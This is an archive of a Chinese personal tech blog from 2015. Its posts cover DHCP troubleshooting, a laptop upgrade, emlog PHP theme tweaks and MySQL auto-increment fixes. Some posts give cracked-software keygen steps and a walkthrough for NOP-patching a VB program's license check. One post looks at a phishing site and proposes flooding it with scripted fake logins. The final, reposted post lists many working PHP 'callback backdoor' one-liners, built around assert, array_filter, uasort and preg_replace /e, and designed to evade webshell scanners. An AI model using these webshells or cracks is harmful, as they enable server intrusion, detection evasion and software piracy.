DHCP不能获取默认网关

今天正在研究emlog的数据备份,就收到朋友的QQ消息.说是不能上网.

我让他把网络详细信息发给我,如下:

01.jpg

可以看到是开启了的DHCP的,获取到了ip地址,子网掩码,但是默认网关没有获取到.

再看看他们经理的电脑可以获取到的:

02.jpg

还有他手机可以链接公司的WiFi上网:

03.png

从上可以看到手机获取到的IP是 192.168.1.3 网关:192.168.1.1 子网掩码:255.255.255.0 

我朋友的IP地址:169.254.60.46 子网掩码:255.255.0.0. 而没有网关(已开启DHCP).

他经理IP地址:192.168.0.103 子网掩码:255.255.255.0 默认网关:192.168.0.1 DHCP服务器192.168.0.1 DNS服务器:192.168.1.1 192.168.0.1 

可见公司是把内部网络划分成了三个子网;经理处于一个子网,员工处于一个子网,WiFi处于一个网络,

这样做是有利于安全的.但是我朋友不能上网.各种折腾,

开始是考虑的以为是协议受损或者是状态异常尝试一下操作:

netsh int ip reset

netsh winsock reset

ipconfig /flushdns   等等各种折腾.重装网卡.等等

神马360断网急救箱折腾完,排除完毕.基本确定是他们公司的DHCP服务器出问题了.等他们老板找人过去修理吧.



Mrxn 发布于 2015-7-28 14:58

瞎折腾,给笔记本换个CPU,加个SSD固态...果然爽YY

本本自带的CPU是双核(2.5-3.2GH),硬盘是500G 5400R 的,用起来不是很给力...正好挣了点零花钱,就果断决定给他升级.

01.jpg

首先是在京东上买回了一个4核8线程的CPU(提前查资料,买对应系列的),外加买了个128G的 三星产的SSD .花了好几百大洋...

联想的机子做工确实不错,拆开看了就一目了然....

02.jpg

拆下硬盘,光驱,背板和键盘就拆得差不多了.但是要特别小心,需要使劲.但是不能太大,因为有可能把排线拆断了,就玩完了///

04.jpg

我们可以先把能看见的排线都拆掉.我这个本子还好,都是卡扣结构式的排线做工,很方便...DIY很有乐趣的!

03.jpg

拆得时候一定要记得把螺丝按照一定的顺序放好,别都放一起,最后你自己都蒙圈了不知道把螺丝按哪儿了.还有就是记得多看几眼螺丝孔附近的标示,很有帮助的.拆完了的东西最好放在绝缘的地方,防止静电损坏本本的一些脆弱电路.重要的就是在安装CPU的时候,一定要记得缺口方向,方向装错了,会导致点不亮CPU等等问题,其次就是导热硅脂的涂抹.不能过多,也不能太少,一般导热管的2-3点就行,一定要均匀抹平,不然导热会成问题的.SSD硬盘安装就so easy了,用固定架固定好硬盘.放在原来光驱的位置就行.一般卖家都会给你搭配相应尺寸的固定框架.折腾完毕,是爽多了.原来开机30秒左右的win7,现在开机也就十几秒钟左右.打开系统后软件,应用啥的都是秒开.没有之前的卡顿.特别是在打开大一点的软件,比如3DMASK,原版Photoshop,Webstorm这些原本打开慢,进去了还需要等几十秒才能用的软件,现在都是秒开无压力的....还是人民币靠谱呀!这升级完又可以省下一大笔费用了.只是希望SSD寿命久一点....因为都说SSD命短!                                                         

Made By Mrxn  15/07/27

标签: 自己 生活

Mrxn 发布于 2015-7-27 15:21

送福利了.再次更新一款免费的VPN

02.png

一秒VPN..免费VPN.多地区可选,中国,韩国,香港,美国,日本,等等地区.而且是免费的.需要使用的自己下载吧.

注:我只是分享.使用的后果自己负责,与我无关.

下载地址:http://pan.baidu.com/s/1nt2Cnd3

标签: 查资料

Mrxn 发布于 2015-7-26 19:44

时空隧道邀请码,免费VPN,google翻墙插件,红杏破解版

安卓,苹果,Mac,Windows 三平台支持的,免费加速器下载 2020最新可用 下载链接:点击下载

时空隧道是一款速度最快的海外网站加速插件,可轻松访问google、gmail、facebook、twitter、youtube等网站,永久免费,每天累积2小时,另外推出高级VIP服务。

但是需要邀请码注册的...着这里我给大家分享一下时空隧道的邀请码:M84w51

或者是你直接打开下面两个网址当中的任意一个:

国外网址:http://www.suidao.in/invi/M84w51
国内网址:http://suidao.wuseyi.com/invi/M84w51

就注册流程大致说一下:

07-21-27-45.png

07-21-28-10.png

07-21-29-11.png07-21-31-48.png

另外,还有红杏的破解插件,3万多天.需要的联系我.

QQ截图20150726173410.png


Mrxn 发布于 2015-7-26 16:36

IDM 6.23 Build 17最新破解版安装包免费下载

01.png

 IDM 6.23 Build 17更新:


这是官方原话:在7月24日更新,增加了对微软Edge 浏览器的支持.修复了一些漏洞.

破解方法:

在原来已经破解好的版本上 直接选择 更新即可升级成最新版.

如果未破解过的,请按以下步骤破解:

1.下载破解注册机:点击查看破解注册机

2.安装最新版的idm(已安装的,略过,未安装的,去官网下载)

3.运行idm破解注册机:

然后点击 Patch

02.png

之后会出现一个输入框 输入firstname   随便输入 Eg:Mrxn
然后会弹出第二个输入框  last name  同样随便输入 Eg:net

切记:破解期间 请关闭IDM
链接如有失效,请及时通知我.



Mrxn 发布于 2015-7-26 16:11

对一个钓鱼网站的简单分析,轻松识别钓鱼网站

首先是其地址:http://xljjrvf.tk/ (对这些不懂得不要进去,小心你的cookies被盗)非官方QQ空间的地址:user.qzone.qq.com/xxxxxx

再看界面:

07-04-45-38.png

很像么/.?估计对于一般人来说还行,但是对于我们这些会码代码的来说,这完全不像呀...那个输入框明显的区别....主要是右上角的叉没用 -_-|

于是 Ctrl+U 如下所示:

07-04-44-36.png

很简单的两行,居然是个 内框<iframe >架嵌入. 其地址是:http://xljjrvf.tk/Login/1.html?uuuu=5&url=http://user.qzone.qq.com/403382031/4

后面的是一个地址不错,但是我查了一下,多半是他盗的.或者是一个死号.....

我们去掉后面的那一部分QQ空间代码后 访问看看:

07-04-53-36.png

这就是那个 iframe 框架标签了.URL后面随便输入返回都是这个页面,那就去掉1.html?后面的参数看看,一样,干脆一起去掉,报错了:07-04-55-40.png

是一个子目录,装的think php模板.网站物理路径也爆出来.呵呵 ....还想进一步深入么?  太困了...睡觉去..这手法,就小学生...现在的孩子都这么任性?

话说,他服务器里面是不是有很多中招的账号?想进去看的  抓紧啦!

在他的登录界面,输入账号:caonima 密码:caonima 结果第一次提示错误,第二次就正常了...说明压根就是直接就存了....那我们可以恶作剧,,

写个脚本,对其进行上万次的写入.让他去拆分真假账号吧,,,,


Mrxn 发布于 2015-7-26 04:05

Emlog调用附件第一张图片和正文第一张图片的方法

现在制作主题,喜欢在首页放上图片展示或图文形式,在emlog主题制作中要如何才能实现这种效果?

下面介绍了几种常用的方法,抛砖引玉,大家一起共同探导一下。

1、直接读取附件图片

原理:这种方法就是直接判断附件的类型,并获取第一张图片的信息;如果没有图片附件,则显示默认图片或随机图片。

方法:先将获取附件图片的方法定义成一个函数,放在模板文件module.php中(代码如下),位置随便。


<?php
//获取文章缩略图,先是自定义指定,然后是查找附件图片,最后是随机图片
function mrxn_fjimg($logid){
 $db = MySql::getInstance();
$thum_pic = EMLOG_ROOT.'/thumpic/'.$logid.'.jpg';
if (is_file($thum_pic)) {
$thum_url = BLOG_URL.'thumpic/'.$logid.'.jpg'; 
}else{
$sqlimg = "SELECT * FROM ".DB_PREFIX."attachment WHERE blogid=".$logid." AND (`filepath` LIKE '%jpg' OR `filepath` LIKE '%gif' OR `filepath` LIKE '%png') ORDER BY `aid` ASC LIMIT 0,1";
//    die($sql);
$img = $db->query($sqlimg);
while($roww = $db->fetch_array($img)){
$thum_url=BLOG_URL.substr($roww['filepath'],3,strlen($roww['filepath']));
}if (empty($thum_url)) {
srand((double)microtime()*1000000); 
$randval   =   rand(0,9); 
$thum_url = BLOG_URL.'content/templates/mrxn/images/mrxn_net/'.$randval.'.jpg';} //随机图片路径
}echo $thum_url;}
?>


然后在你需要的地方,emlog一般是在log_list.php(当然也可以在你自己的文件)相应的地方插入下面代码:

<img src="<?php mrxn_fjimg($value['logid']); ?>" >

优缺点:优点:上传图片无论是否插入了正文,都可以读取第一张显示。

缺点:一是只能读取上传的第一张图片。

2.读取正文的第一张图片

原理:直接从正文代码——包括注释代码——中获取第一张图片的信息;如果正文中没有图片,则显示默认图片或者随机图片。

方法:先将获取附件图片的方法定义成一个函数,放在模板文件module.php中(代码如下),位置随便。





<?php
//获取文章中第一张图片,如果没有就调用随机图片
function mrxn_zwimg($str){
preg_match_all("/\<img.*?src\=\"(.*?)\"[^>]*>/i", $str, $match);
if(!empty($match[1])){echo $match[1][0];}else{
echo TEMPLATE_URL . 'images/mrxn_net_wzimg/'.rand(1,20).'.jpg'; //随机图片路径及图片命名1.jpg……20.jpg
}}
?>
在你需要的地方,emlog一般是在log_list.php(当然也可以在你自己的文件)相应的地方插入下面代码: <img src="<?php mrxn_zwimg($value['content']); ?>"



以下代码为调用正文第一张图片,没有图片则自定义,也可以空白,直接放在你要log_list.php对应位置即可。


<?php $imgsrc = preg_match_all("|<img[^>]+src=\"([^>\"]+)\"?[^>]*>|is", $value['content'], $img);$imgsrc = !empty($img[1]) ? $img[1][0] : ''; ?><?php if($imgsrc): ?><img src="<?php echo $imgsrc; ?>"><?php else: ?><img src="<?php echo TEMPLATE_URL;?>images/news.jpg" alt="暂无图片" /><?php endif; ?>






Mrxn 发布于 2015-7-26 03:27

VB程序的破解思路总结、编译方式vs破解工具 比较(确实不错)

WARNING:
此文章非常长,如果你感兴趣但是没耐心看完,可以做个标记然后按浏览器的关闭按钮,等到下次有兴趣了再看。这里我尽量多和详细地解释了VB程序的破解(其
实也可看到反破解)的相关东西,把一个简单的VB计时器程序研究透了,对于VB破解应有较大帮助,如果觉得无用的不要喷,谢谢!可能包含错误认识,如有错
误欢迎指出。


VB程序也是一个非常有趣的东西,你去看VB的主程序,是用Microsoft Visual C++
5.0编写的,也就是说,其实里面调用的各种命令和控件,都是一段VC++的代码。还有VB运行时必须的“库”(虚拟机):msvbvm50,
msvbvm60, 都是Microsoft Visual C++
DLL,所以非常明显的,只要研究透了VB的这个VM虚拟机DLL,完全可以反编译出P-code的程序的源码。著名的程序就有比如VB
Decompiler,它对于P-code的效果大家可以在下面的分析中看得出来,当然它对于编译成Native
Code的程序效果也不错,只不过名称什么的都不太清楚。所以说,VB的P-code程序(其实Native
Code程序也差不了多少,只不过虚拟机里的代码一部分都插入了程序里而已)和Flash的SWF还是有异曲同工之妙的:都可以反编译(可能可以得到源
码),原因都在于它们用了比较“通用”的虚拟机。vb的就是vbvmXX.dll,flash的就是Flash Player XX。



为了更好地研究VB程序的破解,我特意使用了一个小程序来做演示。

另外,由于正向和逆向是有联系的,所以我这里写正向的时候可以类推到逆向,写逆向的时候可以类推到正向。

这个程序是某个同学给我的,听说我学破解,就想让我来看看他的程序编译到底是编译成P-code好还是编译成native code好,如果编译成native code又要不要优化一下呢?

我打算顺便骗到源码,但是居然不给我!不过他倒是送我一对注册名和注册码。拿到程序一看关于窗口还写着“演示版”,不就是传说中的Demo吗!算了,不管这些细节了。

我拿到的程序有以下几个:Timer_nc_speed.exe(256KB)[Native-Code并进行代码速度优化]、Timer_p-
code.exe(80KB)[P-code程序]、Timer_nc_length.exe(240KB)[Native-Code并进行代码长度优
化]、Timer_nc_none.exe(240KB)[Native-code无优化]。可以看到,P-code程序非常小,但是它运行必须要VB的
VM DLL。

首先来看看这个程序是如何进行授权及验证的:

打开后主窗口:

上面有一个注册按钮正好遮掉计时器的“分”的十位(也就是说你计时不能超过10分钟,否则你自己都不知道过了多久),然后会过随机的时间跳出“请尽快注
册”的窗口,输入了注册码之后会提示“注册码已存储,请立即重启程序,如果正确下次将不再有限制。”看来是纯重启验证类型的。不过貌似还有个突破点,就是
按“倒”按钮(即倒计时)会提示“未注册版本不支持倒计时,是否立即注册?y/n”。也许可以从这个对话框入手哦!

另外,这个软件还有个版本更新历史(我去,都更新到构造23了),里面有一句话引起我的注意:

更改 VB 内部 MSGBOX 成为 user32.dll 的 API 里的 "MessageBoxA".

额,这么说,所有对话框在入口点前的API表(后面会提到)里下断点都是无效的了。



现在,拿出几个神器(网上有提到的): SMARTCHECK,WKTVBDebugger,VB Decompiler。当然OD也用来看看效果。

首先是P-code程序载入OD:入口点的特征就是push XXXXXXXX,Call XXXXXXXX。入口点上方是各种VB虚拟机DLL里面的API,下面就是各种OD识别不出的东西。(不是汇编代码当然识别不出啦)

然后是Native-code程序载入OD:其实做各种优化的都差不多,首先入口点特征与P-code的差不多,上方也是一张表(不过好像更大?),下方也有一段数据,但是再往下拉会发现:

 00408C60   > \55            push ebp
 00408C61   .  8BEC          mov ebp,esp
 00408C63   .  83EC 18       sub esp,18
 00408C66   .  68 26314000   push <jmp.&MSVBVM60.__vbaExceptHandler> ;  SE 句柄安装
 00408C6B   .  64:A1 0000000>mov eax,dword ptr fs:[0]
 00408C71   .  50            push eax
 00408C72   .  64:8925 00000>mov dword ptr fs:[0],esp
 00408C79   .  B8 D0010000   mov eax,1D0
 00408C7E   .  E8 9DA4FFFF   call <jmp.&MSVBVM60.__vbaChkstk>
 00408C83   .  53            push ebx
 00408C84   .  56            push esi
 00408C85   .  57            push edi
 00408C86   .  8965 E8       mov dword ptr ss:[ebp-18],esp
 00408C89   .  C745 EC B8114>mov dword ptr ss:[ebp-14],Timer_nc.0040>
 00408C90   .  8B45 08       mov eax,dword ptr ss:[ebp+8]
 00408C93   .  83E0 01       and eax,1
 00408C96   .  8945 F0       mov dword ptr ss:[ebp-10],eax
 00408C99   .  8B4D 08       mov ecx,dword ptr ss:[ebp+8]
 00408C9C   .  83E1 FE       and ecx,FFFFFFFE

这不是我们熟悉的汇编代码了嘛呵呵。
所以说,到目前为止,P-code的防破解作用远远大于Native-code的。
<破解思路1>在API上面下断点跟踪......
这个对于P-code程序是完全无效的了,但是对于Native Code的可以一试。
首先,以他的水平来说,比较注册码肯定是明码比较,但是我没那么无聊去做内存注册机,来爆破试试看。
打开Timer_nc_XXX.exe,在入口点前面的大表这里下断:

004032E2   $- FF25 B0104000 jmp dword ptr ds:[<&MSVBVM60.__vbaStrCmp>]           ;  MSVBVM60.__vbaStrCmp
运行程序,第一次断下先放行,结果窗口就出来了,说明第一次断下就已经到了关键.
重载程序,断下后F8,来到这里:

 734793DA >  FF7424 08       push dword ptr ss:[esp+8]
 734793DE    FF7424 08       push dword ptr ss:[esp+8]
 734793E2    6A 00           push 0
 734793E4    E8 44E6FFFF     call MSVBVM60.__vbaStrComp
 734793E9    C2 0800         retn 8

再按Alt+F9来到这里:
00414BAE   .  50            push eax
 00414BAF   .  68 78734000   push Timer_nc.00407378
 00414BB4   .  E8 29E7FEFF   call <jmp.&MSVBVM60.__vbaStrCmp>
 00414BB9   .  F7D8          neg eax                                              ;  here
 00414BBB   .  1BC0          sbb eax,eax
 00414BBD   .  F7D8          neg eax
 00414BBF   .  F7D8          neg eax

这里已经是程序的代码段了,可以更改代码了,继续跟踪看看。
00414BC1   .  66:8985 68FEF>mov word ptr ss:[ebp-198],ax
 00414BC8   .  8D4D D8       lea ecx,dword ptr ss:[ebp-28]
 00414BCB   .  E8 60E7FEFF   call <jmp.&MSVBVM60.__vbaFreeStr>
 00414BD0   .  8D4D B4       lea ecx,dword ptr ss:[ebp-4C]
 00414BD3   .  E8 B6E6FEFF   call <jmp.&MSVBVM60.__vbaFreeVar>
 00414BD8   .  0FBF85 68FEFF>movsx eax,word ptr ss:[ebp-198]
 00414BDF   .  85C0          test eax,eax
 00414BE1   .  0F84 E60B0000 je Timer_nc.004157CD     ;这里跳了
 00414BE7   .  C745 FC 1F000>mov dword ptr ss:[ebp-4],1F
 00414BEE   .  66:8365 DC 00 and word ptr ss:[ebp-24],0
 00414BF3   .  C745 FC 20000>mov dword ptr ss:[ebp-4],20
 00414BFA   .  68 7C744000   push Timer_nc.0040747C                                 ;  UNICODE "Timer_Regcode.inf"
 00414BFF   .  6A 01         push 1
 00414C01   .  6A FF         push -1
可以看到,00414BE1这里跳转跳了,但是应该是不要跳的,因为下面的代码才开始读取注册码. 于是NOP。
 00414C03   .  6A 01         push 1
 00414C05   .  E8 78E6FEFF   call <jmp.&MSVBVM60.__vbaFileOpen>
 00414C0A   >  C745 FC 21000>mov dword ptr ss:[ebp-4],21
 00414C11   .  6A 01         push 1
 00414C13   .  E8 64E6FEFF   call <jmp.&MSVBVM60.#571>
 00414C18   .  0FBFC0        movsx eax,ax
 00414C1B   .  85C0          test eax,eax
 00414C1D   .  0F85 8E000000 jnz Timer_nc.00414CB1
 00414C23   .  C745 FC 22000>mov dword ptr ss:[ebp-4],22
但是接下来问题也随之出现,就是说这个文件不存在,却要被打开(00414C05处),会出现异常的,所以这句代码也得NOP。不过这个程序令我惊讶的 是,居然自带了异常处理程序!现在不能观摩,否则异常不断产生会导致程序卡死,先要把所有异常都处理好,不过那时候也不能再观摩了.
所以还要NOP:
 00414C05   .  E8 78E6FEFF   call <jmp.&MSVBVM60.__vbaFileOpen>
00414C13   .  E8 64E6FEFF   call <jmp.&MSVBVM60.#571>
另外,为了不浪费程序的感情不断读取文件,我们把00414C1D的jnz改为jmp跳过读取阶段. 然后就到了这里:
00414CB1   > \C745 FC 2B000>mov dword ptr ss:[ebp-4],2B
 00414CB8   .  6A 01         push 1
 00414CBA   .  E8 ABE5FEFF   call <jmp.&MSVBVM60.__vbaFileClose>
 00414CBF   .  C745 FC 2C000>mov dword ptr ss:[ebp-4],2C
 00414CC6   .  C785 ECFEFFFF>mov dword ptr ss:[ebp-114],Timer_nc.004>
 00414CD0   .  C785 E4FEFFFF>mov dword ptr ss:[ebp-11C],8008
 00414CDA   .  C785 DCFEFFFF>mov dword ptr ss:[ebp-124],Timer_nc.004>
 00414CE4   .  C785 D4FEFFFF>mov dword ptr ss:[ebp-12C],8008
 00414CEE   .  8B45 08       mov eax,dword ptr ss:[ebp+8]
 00414CF1   .  05 A4000000   add eax,0A4
 00414CF6   .  50            push eax
 00414CF7   .  8D85 E4FEFFFF lea eax,dword ptr ss:[ebp-11C]
 00414CFD   .  50            push eax
 00414CFE   .  8D45 B4       lea eax,dword ptr ss:[ebp-4C]
 00414D01   .  50            push eax
 00414D02   .  E8 57E5FEFF   call <jmp.&MSVBVM60.__vbaVarCmpNe>
 00414D07   .  50            push eax
 00414D08   .  8B45 08       mov eax,dword ptr ss:[ebp+8]
 00414D0B   .  05 B4000000   add eax,0B4
 00414D10   .  50            push eax
 00414D11   .  8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]
 00414D17   .  50            push eax
 00414D18   .  8D45 A4       lea eax,dword ptr ss:[ebp-5C]
 00414D1B   .  50            push eax
 00414D1C   .  E8 3DE5FEFF   call <jmp.&MSVBVM60.__vbaVarCmpNe>
 00414D21   .  50            push eax
 00414D22   .  8D45 94       lea eax,dword ptr ss:[ebp-6C]
 00414D25   .  50            push eax
 00414D26   .  E8 39E5FEFF   call <jmp.&MSVBVM60.__vbaVarOr>
 00414D2B   .  50            push eax
 00414D2C   .  E8 6FE5FEFF   call <jmp.&MSVBVM60.__vbaBoolVarNull>
 00414D31   .  0FBFC0        movsx eax,ax
 00414D34   .  85C0          test eax,eax
 00414D36   .  0F84 6D090000 je Timer_nc.004156A9
文章太长了,文档和软件下载:
软件下载:链接:http://pan.baidu.com/s/1eQARBME 密码:f28c
文档:http://pan.baidu.com/s/1hqERqVM 备用连接:链接:http://pan.baidu.com/s/1hqIpg9Y 密码:4p8u
注:原文出自吾爱,我觉得写的很好故转载,一边日后学习研究使用.如有问题,请联系我.admin#mrxn.net


Mrxn 发布于 2015-7-26 03:19

修改emlog后台登录路径的方法

emlog后台登录地址的目录名称默认为admin,并且官方没有提供自定义后台登录入口名字的功能,这多少让我们觉得有些不安全,毕竟暴露一个网站的后台不是一件安全的事,今天就给您说下修改方法,增加一下网站的安全性。
虽然我们进入后台的地址是/admin,但其实真实的地址还是/admin/index.php。那么就先从这个文件开始下手,打开这/admin /index.php这个文件后,看到第7行require_once 'globals.php';这一句,也就是说在index.php运行之前会先加载globals.php这个文件,由文件路径可以看出这个文件是处于 当前文件夹中,找到并打开它。发现它又加载了一文件,是根目录的init.php。先不管它,先来看下面的,第9行
define('TEMPLATE_PATH', EMLOG_ROOT.'/admin/views/');
定义了一个后台模板路径的常量,这个路径经过登录接口目录,所以我们把它修改成你想要的名称,比如修改成我的ID,即
define('TEMPLATE_PATH', EMLOG_ROOT.'/mrxn/views/');
现在先不预览,因为可能还有没有修改的地方,免得会报错。继续往下看。
登录验证,没什么问题。退出,这个让我想到了平时点退出的时候,地址是/admin?action=logout,这里可以看到,它是在admin上加了一个logout的动作,所以我仔细看了一下它,但是没看出可以修改的地方。
那么我们开始看刚才引入的那个文件:init.php。打开这个文件。
由这个文件开头的注释:全局项加载,我们了解到,从现在开始,要开始大规模加载东西了,我想,如果下面还有需要修改的地方的,那修改会变得很麻烦,所以我 就此先打住,先测试一下,以现在的修改,有没有成功的可能性。我先是把后台登录的文件夹名称改成admin1,然后打开浏览器输入 http://localhost/admin1,打开后台入口,没有任何错误,接着输入账号密码登录,没有报错,我试着进行了各项操作,包括写日志等 等,没有出现异常,也就是说后台登录入口的修改至此成功。

总结一下,其实就两步:
1、修改根目录下admin的名称
2、admin/globals.php这个文件的第9行后面admin/views/中的admin改成你要的名称。
3、千万不要用记事本来修改核心文件,否则后果很严重。


修改Emlog后台默认列表显示条数

在include/model/log_model.php文件中找到

$limit = "LIMIT $start_limit, " . $perpage_num;

大概在147行的样子,改为

$limit = "LIMIT $start_limit, " . 1000;

其中1000表示现在所显示的条数



Mrxn 发布于 2015-7-25 19:14

emlog文章浏览数在规定的时间内算一次修改方法

文章浏览数在规定的时间内算一次修改方法(感谢EM开发QQ群@土著人宁巴)



找到include/controller/log_controller.php 大概102中



$Log_Model->updateViewCount($logid);



改为(其中86400为时间,单位为秒)就可以搞定了。





if(time()-intval($COOKIE['viewtime'.$logid])>86400){

$LogModel->updateViewCount($logid);

setcookie('viewtime
'.$logid,time());

}



另外附上按点击数排列文章的方法





找到include/controller/log_controller.php 大概19中



$sqlSegment ='ORDER BY top DESC ,date DESC';



top改为views即可。。



本人把方法分享给大家,希望对大家所帮助。



Mrxn 发布于 2015-7-24 10:50

一个有趣的520表白 一个有趣的假设推断题

发现一个有趣的推断题:

假设:

8 5 3=315

7 6 9=154

3 2 5=110

那么:

9 4 5= ?

相信聪明的你已经知道了答案:

最高位-第二位的差为结果的最高位 :8-5=3

余位的积为结果的余位: 5*3=15

所以最终结果为:8 5 3 = 315

那么 9 4 5 = 520 骚年们.看到这里是不是可以给你的女神这么暗示一下哈.  祝你玩得开心,成功.!


Mrxn 发布于 2015-7-23 22:53

让MySQL缺失的ID值自动恢复增长和补全缺失的ID

话说,百度知道很强大,自己很弱小呀......才疏学浅.

如下图所示:

010.jpg

想要 cate_id 字段的值 从1开始往下增长 1 2 3 4 5 6 7 8 ....,而不是2 3 4 5 6 7 8 ....

一共有3种修复方法:

第一种手先动修复成1 2 3 4 5 6 7

操作MySQL:输入ALTER TABLE tdb_goods_cates AUTO_INCREMENT = 8


这样往后的资料会从8开始(对于数据量小的可以这么做)

第二种重置表方法

首先--no-create-info,-t仅输出资料

然后把表tdb_goods_cates所有资料使用delete tdb_goods_cates删除

然后输入ALTER TABLE tdb_goods_cates AUTO_INCREMENT = 1

再把输出资料的.sql文件导入就可以了


第三种mysql语法(推荐使用)


UPDATE tdb_goods_cates set cate_id = cate_id-1

然后输入ALTER TABLE tdb_goods_cates AUTO_INCREMENT = 8

这样就可以解决这个问题了.话说,百度知道很强大,自己很弱小呀......才疏学浅.


Mrxn 发布于 2015-7-23 18:28

css自适应宽度滑动门菜单
PHP

html css width 自适应

什么是CSS自适应宽度滑动门菜单?

CSS自适应宽度菜单指菜单的宽度可以随着内容的增加而变宽,就拿下边的实例来说,是按4个字的宽度来设计的,如果其中一项为5个字或更多,就放不下了。那么我们就需要让它的宽度可以随着内容的增减而变化,这就是css自适应宽度菜单。

自适应宽度按钮的效果是怎样的呢?

那么,自适应宽度按钮,是怎么实现的呢?

要想实现自适应宽度,需要在文字上增加一个辅助标签,如span,分别在a上和span上设置背景,一个左侧对齐,一个右侧对齐

绿色部分为span,然后定义它的背景图片靠右侧对齐,而左侧的部分为a的背景图片,定义靠左侧对齐。当文字多时,会把span撑开,这实现了自适应宽度的按钮了。这里需要一张如下的图片,它的宽度要宽于你所应用的最宽宽度,这样才能显示正常,同时根据以前学习的css Sprites技术,把背景图片和鼠标经过图片放到一张图片上。


Mrxn 发布于 2015-7-23 15:42

创造tips的秘籍——PHP回调后门(转载)

最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如$_GET'func'之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。

那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。

有很多朋友喜欢收藏一些tips,包括我也收藏了好多tips,有时候在渗透和漏洞挖掘过程中很有用处。

一句话的tips相信很多朋友也收集过好多,过狗一句话之类的。14年11月好像在微博上也火过一个一句话,当时也记印象笔记里了:

有同学收集tips,就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数(无特征)的一句话(后门)?

根据上面这个pdo的一句话,我就可以得到一个很具有普适性的结论: php中包含回调函数参数的函数,具有做后门的潜质。

我就自己给这类webshell起了个名字:回调后门。

0x01 回调后门的老祖宗

php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:

call_user_func('assert', $_REQUEST['pass']);

assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。

这个后门,狗和盾都可以查到(但是狗不会拦截):

可php的函数库是很丰富的,只要简单改下函数安全狗就不杀了:

call_userfuncarray('assert', array($_REQUEST['pass']));

call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。如图:

可见,虽然狗不杀了,D盾还是聪明地识别了出来。

看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。

0x02 数组操作造成的单参数回调后门

进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。 我最早想到个最“简单好用的”:

$e = $_REQUEST['e'];

$arr = array($_POST['pass'],);

array_filter($arr, base64_decode($e));

array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):

这个后门,狗查不出来,但D盾还是有感应,报了个等级3(显然比之前的等级4要低了):

类似array_filter,array_map也有同样功效:

$e = $_REQUEST['e'];

$arr = array($_POST['pass'],);

array_map(base64_decode($e), $arr);

依旧被D盾查杀。

果然,简单的数组回调后门,还是很容易被发现与查杀的。

0x03 php5.4.8+中的assert

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

比如如下回调后门:

$e = $_REQUEST['e'];

$arr = array('estt', $_REQUEST['pass']);

uasort($arr, base64_decode($e));

这个后门在php5.3时会报错,提示assert只能有一个参数:

php版本改作5.4后就可以执行了:

这个后门,狗和盾是都查不出来的:

同样的道理,这个也是功能类似:

$e = $_REQUEST['e'];

$arr = array('test' => 1, $_REQUEST['pass'] => 2);

<a href="http://yidianzixun.com/m/channel/keyword/uksort" ,="" style="border: none; text-decoration: none; outline: none; font-size: 16px; color: rgb(50, 97, 163); line-height: 27.2000007629395px; font-family: Oxygen, Arial, 'Hiragino Sans GB ', 'Microsoft YaHei', 微软雅黑, STHeiti, 'WenQuanYi Micro Hei', SimSun, sans-serif; text-align: justify; white-space: normal; background-color: rgb(246, 246, 246);">uksort($arr, $e);

再给出这两个函数,面向对象的方法:

// way 0

$arr = new ArrayObject(array('test', $_REQUEST['pass']));

$arr->uasort('assert');

// way 1

$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));

$arr->uksort('assert');

再来两个类似的回调后门:

$e = $_REQUEST['e'];

$arr = array(1);

$e = $_REQUEST['e'];

$arr = array($_POST['pass']);

$arr2 = array(1);

array_udiff($arr, $arr2, $e);

以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。

我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)

0x04 三参数回调函数

有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。

array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:

php中,可以执行代码的函数:

1. 一个参数:assert

2. 两个参数:assert (php5.4.8+)

3. 三个参数:preg_replace /e模式

三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:

$e = $_REQUEST['e'];

$arr = array($_POST['pass'] => '|.*|e',);

array_walk($arr, $e, '');

如图,这个后门可以在5.3下使用:

但强大的D盾还是有警觉(虽然只是等级2):

不过呵呵,PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)D盾就查不出来了:

$e = $_REQUEST['e'];

$arr = array($_POST['pass'] => '|.*|e',);

array_walk_recursive($arr, $e, '');

不截图了。

看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:

mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

另一个:

e<a href="http://yidianzixun.com/m/channel/keyword/echo" ,="">cho preg_filter('|.*|e', $_REQUEST['pass'], '');

这两个一句话都是不杀的:

好用的一句话,且用且珍惜呀。

0x05 无回显回调后门

回调后门里,有个特殊的例子:ob_start。

ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:

ob_start('assert');

echo $_REQUEST['pass'];

ob_end_flush;

但如果执行一个url请求,用神器cloudeye还是能够观测到结果的:

即使没输出,实际代码是执行了的。也算作回调后门的一种。

0x06 单参数后门终极奥义

